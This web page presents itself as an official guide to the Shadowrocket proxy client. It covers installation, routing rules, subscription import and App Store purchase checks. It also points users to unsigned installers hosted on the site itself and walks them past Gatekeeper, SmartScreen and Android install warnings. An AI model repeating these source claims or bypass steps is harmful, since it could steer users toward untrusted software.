Shadowrocket Guide/Official Guide

ShadowrocketSetup guide

Cross-platform proxy client with rule-based routing. Start with an existing subscription or server details, then import, configure rules, and verify the connection.

Current version See the download page · iPhone / iPad: $2.99 one-time App Store purchase; Mac, Windows, Android, Linux: free.

First-time setup: import and connect →
ConfigOn DemandWireGuard2 ways to get it
§ 01Get the app on every platform

Choose by device. Check system requirements, then select an installation option.

Shadowrocket is available in two ways: a one-time $2.99 App Store purchase for iPhone / iPad, and free versions for Mac, Windows, Android, and Linux. For iPhone / iPad, check the App Store listing for system requirements. Get installation files for other platforms from this site's download page, under /dl/shadowrocket/. These cards introduce each platform; the download page has the specific installers and guidance for system prompts on first launch.

iPhone / iPad

$2.99 one-time App Store purchase. Check the product page with your own purchase account, then download. The same purchase account can redownload the app on eligible iPhone and iPad devices. Check the App Store listing for system requirements. Whether the app appears in the store depends on the storefront associated with the account, not the device's current interface language.

Mac

Free · Apple silicon / Intel. Open About This Mac and choose the installer that matches the chip or processor information; don't guess based on appearance or purchase year. If you see “Unable to verify developer” on first launch, confirm the file came from this site, then follow the download page's instructions under “Privacy & Security.” Repeatedly replacing the file is unnecessary.

Windows

Free. The download page provides a 64-bit installer; keep your existing configuration before installing. If SmartScreen blocks the app, confirm the download source, then follow the “More info → Run anyway” instructions. Stop if you don't recognize the file source. After opening the client, you still need to import your existing subscription or server details.

Android

Free. Use the arm64 installer provided on this site's download page. If Android asks to “Allow installation of unknown apps,” grant only the necessary permission to the app used to download and open the file, and revoke it afterward if you wish. If the download won't open inside a messaging app, continue in the system browser and confirm the address is still on this site.

Linux

Free · deb / rpm / AppImage. Choose a format that matches your distribution's package management; don't install different formats one after another. AppImage needs execution permission before first launch, while deb and rpm packages are handled by their respective package managers. The download page lists installation commands and permission steps. Save your current configuration before updating.

View all platforms →
§ 02Core features

Understand the configuration layers. Separate connection details, matching rules, and automatic connections.

PLATE 01 / RULE ORDER

Rule-based routing and first-match behavior

In Home, select Config under Global Routing to process requests according to the rules in the active configuration. Open Config and review rule order: specific domains should generally appear before broader matches, while FINAL handles requests that didn't match earlier rules. PROXY, DIRECT, and REJECT are different policies, not speed ratings. Before making changes, back up the configuration and edit one rule at a time. Retest the same destination to avoid changing the server, DNS, and rules all at once and losing track of the cause.

DOMAIN-SUFFIX,example.com,PROXY

Once you understand these six layers, decide which one needs attention: server details answer “where to connect,” Global Routing answers “how to handle requests,” rules determine “which policy applies to this request,” and On Demand sets “when to connect.” These settings are related but aren't interchangeable. Keep the initial setup simple: confirm one known-working connection and one clearly defined configuration before adding rules or automation.

§ 03Quick start preview

Start with details you already have. Import, choose a mode, then test the connection.

Add Server / Subscribe: import connection details

Prepare a subscription link, QR code, or server parameters you already have. To enter details manually, open Add Server, choose Type, then fill in the corresponding fields. To use a QR code, select Scan QR Code and confirm the result matches the original details. After importing a subscription, return to Home and check the group and server entries. Don't keep adding the same link just because it hasn't connected yet. Importing brings the details into the client; it doesn't confirm that the server itself is available.

If an entry is empty after saving, fields are missing, or you see a format error, check the original details and make sure they were copied in full. Pay particular attention to spaces, line breaks, or truncated parameters around a link. When contacting the provider of your connection details, describe the error without publicly sharing a full subscription URL that contains credentials.

Global Routing: check Config / Proxy / Direct

Select the server you plan to use in Home, then check Global Routing. Config mode routes traffic according to the rules in the active configuration. Proxy mode handles eligible requests using that mode, while Direct connects without the proxy. Direct isn't a server selection, and Proxy isn't a rules file. To handle destinations differently by domain or address, first confirm which file is active in Config and which policies it references.

For the first test, don't change several settings at once. Note the current mode and server, then compare results for the same webpage before and after a change. If a destination won't open, first check whether the problem affects only that destination before reviewing its rules. Don't delete the entire configuration straight away.

Home: connect and verify with a real destination

Turn on the connection. On first use, follow the system prompt to allow adding a VPN configuration and complete any required device confirmation. Once the switch shows a connection status, run Connectivity Test and then visit the destination you need in a browser. A VPN indicator means the local connection configuration has started; it doesn't confirm that remote authentication, DNS resolution, and rule handling are all correct. Check the actual access result.

If it fails, troubleshoot in this order: basic network, server fields, current mode, DNS, and rules. Change one condition at a time and note the error message. Restore the original settings after temporary tests. If you need On Demand, add its conditions after a manual connection is stable, so automatic behavior doesn't complicate troubleshooting.

Read the full guide →
§ 04Authenticity and facts

Verify the product and purchase record. Getting the client and getting a connection service are separate.

Official guide 2 ways to get it Closed-source commercial app
Developer Shadow Launch Technology Limited App ID 932747118

Verify three details on the App Store listing

On the App Store product page on iPhone / iPad, check the developer name, official icon, and app ID together. The developer should be Shadow Launch Technology Limited, and the app ID should be 932747118. Compare the icon with the official icon in this site's header. The name or position in search results isn't enough to verify an app. Open the product details and check the developer and the number in the link. An entry with a similar name but a different number is not the same app.

Shadowrocket is a closed-source commercial app. Product details and actual download channels are used here to identify it; ratings, download counts, and unverified release dates are not substitutes for verification. Desktop and Android users can choose the appropriate installer from this site's download page, under /dl/shadowrocket/. Don't assume a file is genuine based only on its icon or a similar filename.

Store visibility and account region

The app is currently unavailable on the China mainland App Store. Device language, system region, and the storefront associated with a purchase account are separate settings. Changing the system language alone doesn't change the App Store catalog. If you can't find the app, first check the account used for “Media & Purchases” and its country or region, then check whether the product page is visible. Store availability may change; the App Store page opened by your account is the final reference.

Before changing an account's region, review the system requirements for balances, subscriptions, and payment methods, and use your own accurate information that meets the requirements. Don't make repeated changes without understanding the consequences. For system compatibility, check the App Store listing. Search problems, payment issues, and download failures should be investigated separately rather than treated as one client issue.

One-time purchase and restoring on a new device

There are two pricing options: a one-time $2.99 App Store purchase for iPhone / iPad, with the local price shown by each storefront; Mac, Windows, Android, and Linux versions are free. The same purchase account can be used to access the purchase on iPhone and iPad. You don't need to create a new purchase record just because you changed devices. The actual amount and eligibility are shown at checkout.

After changing devices or reinstalling, sign in to the original purchase account in the App Store, open “Purchased,” find Shadowrocket, and download it again. If you see a purchase button, first check that you're using the original account and viewing the correct product page before considering another payment. Restoring the app and restoring connection details are separate tasks. After reinstalling, check that your server details, configuration files, and sync status are all in place.

Client purchase ≠ connection plan

Getting Shadowrocket gives you the client; it doesn't automatically provide a remote server, subscription quota, or network service. This site doesn't provide, sell, or recommend nodes or subscriptions. Import and connection instructions assume you already have your own subscription or server details. Confirm the validity period, access rights, and service status of those details with their original provider.

So if there's no server entry after purchase, that doesn't mean the purchase record is missing. First make sure you have connection details to import, then follow the guide to add them. A successful subscription update only means content was retrieved; it doesn't mean every server in it will work on your current network. Record and assess client issues, data-format issues, and remote service issues separately.

Other platforms and first launch

Mac has separate Apple silicon and Intel versions, while Windows, Android, and Linux each have their own installation formats. Choose the file for your device, then follow the installation instructions on the download page. When a system displays a security prompt, confirm the source first. “Privacy & Security” on Mac, SmartScreen on Windows, Android installation permissions, and Linux execution permissions are different mechanisms; don't apply the same steps to all of them.

These installers aren't code-signed, so you may see a system prompt on first launch. The download page explains how to allow an app after checking its source, and lists the installation steps for Linux formats. If you don't understand a prompt, keep its exact wording and check the relevant section for your system. Don't disable system-wide protection just to open one file.

Update the app and subscription separately

App Store manages app updates on iPhone / iPad. For other platforms, get the updated installer from this site's download page and keep a copy of your configuration before proceeding. Subscribe updates server details from an existing subscription, while Config changes rules or settings; neither updates the app. If something stops working “after an update,” first identify what was updated and then compare what changed.

The download list displays the current version dynamically; the download page is the reference for available files. When a configuration changes, keeping a copy of the previous version and the steps needed to reproduce the issue is more useful for troubleshooting than noting a version name alone. For more store information, see the App Store guide. For connection issues, use the relevant category in Frequently asked questions.

§ 05Article previews

Read about your current issue. Purchase restoration, device selection, and first-time installation.

Restore Shadowrocket on a new device: redownload from “Purchased” with your original account

After getting a new iPhone or reinstalling the system, first confirm that the App Store is signed in to the original purchase account, then find the purchase record. This article distinguishes redownloading the app from restoring configuration details, and explains what to check if a purchase button appears so you don't mistake an account mismatch for a failed purchase.

Read article →
View all articles →
Download Shadowrocket